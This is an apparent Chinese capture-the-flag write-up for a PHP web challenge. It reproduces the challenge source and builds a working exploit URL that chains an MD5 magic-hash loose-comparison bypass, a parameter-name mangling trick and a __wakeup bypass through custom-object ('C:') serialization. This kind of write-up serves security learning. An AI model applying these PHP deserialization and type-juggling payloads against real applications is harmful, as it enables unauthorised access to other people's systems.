天山固网杯2025-职工组-web1-OhOhOhOOO

题目名称:OhOhOhOOO
题目内容:OhOhOhOOO是藏在哪呢????让我康康
【Flag完整格式一般为:DASCTF{******},只需要提交{}内的内容。若Flag为其它格式,则会在题目描述中单独说明。】
题目分值:125.0
题目难度:容易

打开时,直接是一个phpinfo页面。
dirsearch扫描,也只发现了一个upload文件夹(403禁止访问)和flag.php(无任何回显)。

在Environment中,发现有个HINT: clas4.php。
访问,得到源码:

<?php
highlight_file(__FILE__);
error_reporting(0);

class OhOhOhOOO
{
    public $here = True;

    public function __destruct()
    {
        if ($this->here === True) {
            include('./flag.php');
            echo "Here is your flag" . getenv('FLAG');
        }
    }

    public function __wakeup()
    {
        $this->here = False;
    }
}

$a = $_GET['a'];
$b = $_GET['b'];

if (md5($a) !== null && $a != $b && md5($a) == md5($b)) {
    echo "Pass waf 1";
} else {
    die("NONONO");
}

if (isset($_GET['im_a.get'])) {
    unserialize($_GET['im_a.get']);
}

?>

很显然,有以下3个简单的知识点:
【知识点1】

(md5($a) !== null && $a != $b && md5($a) == md5($b))
# md5碰撞 ==> a=QNKCDZO&b=240610708

【知识点2】

$_GET['im_a.get']
==> PHP 变量命名规则:PHP 的变量名不能包含小数点 .,因为小数点在 PHP 中是无效的变量名字符。为了处理这种情况,PHP 在解析请求参数时会自动将参数名中的 . 替换为 _。
但是,如果已经前面有一个中括号 `[` 转变为下划线 `_` 了,下一个小数点就不会转变了。
==> im[a.get

【知识点3】 PHP反序列化: _wakeup绕过

    public function __wakeup()
    {
        $this->here = False;
    }

在安全编程中,__wakeup() 方法经常用于控制对象的反序列化过程,以避免攻击者能够在反序列化期间执行恶意代码。这是因为反序列化操作本质上是在将一个字符串转换为可执行的代码,因此如果反序列化的对象包含恶意代码,那么它可能会在反序列化过程中执行。

然而,攻击者可以通过多种方式绕过这种保护机制。当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup() 函数的执行。

当PHP5 < 5.6.25, 或PHP7 < 7.0.10时,可以直接修改属性个数的值,就可绕过__wakeup() 函数的执行。
但本题是 PHP/7.3.28 。高版本中修改属性个数绕过__wakeup()是不现实的,还有另外绕过的方式,(O改为C)。

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

==> 构造以下payload:

/clas4.php?a=QNKCDZO&b=240610708&im[a.get=C:9:"OhOhOhOOO":0:{}

即可实现输出flag。

posted @ 2025-08-16 19:28  potjoe  阅读(97)  评论(0)    收藏  举报